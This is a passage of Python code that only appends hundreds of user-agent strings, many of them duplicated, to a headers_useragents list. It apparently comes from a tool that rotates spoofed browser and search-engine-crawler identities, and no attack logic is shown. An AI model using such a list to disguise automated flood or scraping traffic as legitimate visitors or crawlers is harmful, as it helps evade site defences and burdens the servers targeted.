OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') 